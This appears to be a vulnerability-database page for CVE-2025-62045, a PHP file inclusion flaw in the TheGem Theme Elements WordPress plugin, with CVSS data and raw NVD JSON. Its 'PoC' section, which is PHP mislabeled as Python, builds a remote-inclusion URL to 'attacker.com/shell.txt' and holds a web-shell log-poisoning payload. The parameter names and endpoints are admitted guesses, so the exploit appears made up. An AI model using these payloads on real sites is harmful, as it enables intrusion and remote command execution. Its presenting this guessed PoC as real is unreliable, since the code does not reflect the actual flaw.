Security Vulnerability Report
中文
CVE-2025-62045 CVSS 8.1 HIGH

CVE-2025-62045

Published: 2025-11-06 16:16:11
Last Modified: 2026-04-27 17:16:31

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for WPBakery) thegem-elements.This issue affects TheGem Theme Elements (for WPBakery): from n/a through <= 5.10.5.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TheGem Theme Elements for WPBakery <= 5.10.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-62045 PoC - TheGem Theme Elements Remote File Inclusion // Target: WordPress plugin TheGem Theme Elements <= 5.10.5.1 // Vulnerability: PHP Remote File Inclusion $target = 'http://target-site.com/wp-admin/admin-ajax.php'; $plugin_path = '/wp-content/plugins/thegem-elements/'; // Method 1: Direct RFI via vulnerable parameter $vulnerable_param = 'thegem_element'; // Common vulnerable parameter name $malicious_url = 'http://attacker.com/shell.txt'; // Remote malicious file echo "[*] CVE-2025-62045 PoC - TheGem Theme Elements RFI\n"; echo "[*] Target: $target\n"; // Construct the exploit URL $exploit_url = $target . '?' . $vulnerable_param . '=' . urlencode($malicious_url); echo "[+] Exploit URL: $exploit_url\n"; // Method 2: LFI to RCE via log poisoning $log_poison_payload = '<?php system($_GET["cmd"]); ?>'; $log_file = '/var/log/apache2/access.log'; $lfi_param = 'thegem_file'; // Common LFI parameter $lfi_url = $target . '?' . $lfi_param . '=' . urlencode($log_file); echo "[+] LFI URL: $lfi_url\n"; // Method 3: Check for known vulnerable endpoint echo "[+] Checking vulnerable endpoint patterns...\n"; $vulnerable_endpoints = [ $plugin_path . 'inc/functions/thegem-elements.php', $plugin_path . 'template-tags/thegem_element_template.php' ]; foreach ($vulnerable_endpoints as $endpoint) { echo " - Checking: $endpoint\n"; } echo "\n[!] Mitigation: Update to TheGem Theme Elements > 5.10.5.1\n"; echo "[!] Or disable the plugin until patch is available\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62045", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:10.980", "lastModified": "2026-04-27T17:16:30.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for WPBakery) thegem-elements.This issue affects TheGem Theme Elements (for WPBakery): from n/a through <= 5.10.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thegem-elements/vulnerability/wordpress-thegem-theme-elements-for-wpbakery-plugin-5-10-5-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}